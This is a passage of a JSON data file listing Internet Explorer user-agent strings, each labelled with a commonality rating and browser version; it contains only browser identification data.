.NET4.0C; .NET4.0E)\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (MSIE 10.0; Windows NT 6.1; Trident\\/5.0)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/7.0)\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MDDCJS)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64, x64; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MALNJS)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident\\/7.0; .NET4.0E; .NET4.0C)\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0;  Trident\\/5.0)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; InfoPath.2)\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MATBJS)\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; BOIE9;ENUS)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; FBViewer-6.0.4.0)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/7.0)\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MAPBJS)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; NP06; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; NP06)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; LCJB; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MASMJS)\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; EIE10;ENUSWOL)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; Touch)\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (MSIE 9.0; Windows NT 6.1; Trident\\/5.0)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; LCTE; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MATMJS)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; MDDCJS; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MAGWJS)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; ASU2JS; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0;  Trident\\/5.0)\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MASEJS)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident\\/4.0; SLCC1)\"},{\"commonality\":\"Common\",\"version\":\"5.5\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows NT 5.0)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; MDDRJS)\"},{\"commonality\":\"Common\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; Tablet PC 2.0)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322)\"},{\"commonality\":\"Common\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; TNJB; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0; Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; GWX:MANAGED)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\"},{\"commonality\":\"Common\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV\\/5.11.3.15590)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MDDRJS; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; MAARJS; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MATBJS; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; MATBJS; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; BRI\\/2; MDDRJS)\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla \\/ 5.0(Windows NT 6.1; WOW64; Trident \\/ 7.0; AS; rv: 11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; LCJB; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; BOIE9;ENUSMSCOM)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/7.0; SLCC2; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MSBrowserIE; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; NP06)\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; MALNJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; MAAR; .NET4.0C; McAfee; BRI\\/2; BOIE9;ENUS)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; DTS Agent\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Win64; x64; Trident\\/5.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; FSJB; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; MAGWJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident\\/4.0; SLCC1)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; yie9)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MAAU; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MDDCJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; ASU2JS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Win64; x64; Trident\\/6.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; TNJB; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; rv:11.0)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; BOIE9;NLBE)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; Touch; LCTE; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC S; MS-RTC LM 8; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident\\/7.0)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident\\/5.0; BOIE9;ENUS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; A7F)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; EIE10;ENUSMSN)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; MAARJS)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727; InfoPath.3; BRI\\/2; .NET4.0C; .NET4.0E; msn OptimizedIE8;PTPT)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Windows NT 6.1; Trident\\/5.0)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident\\/7.0)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident\\/6.0; Xbox; Xbox One)\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; BOIE9;ENUS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; TNJB; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; Touch; LCJB; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE8.0; Windows NT 6.0) .NET CLR 2.0.50727)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; ASU2JS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; MAGWJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident\\/6.0; EIE10;ENUSWOL)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; MDDCJS)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; Touch; MDDCJS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; 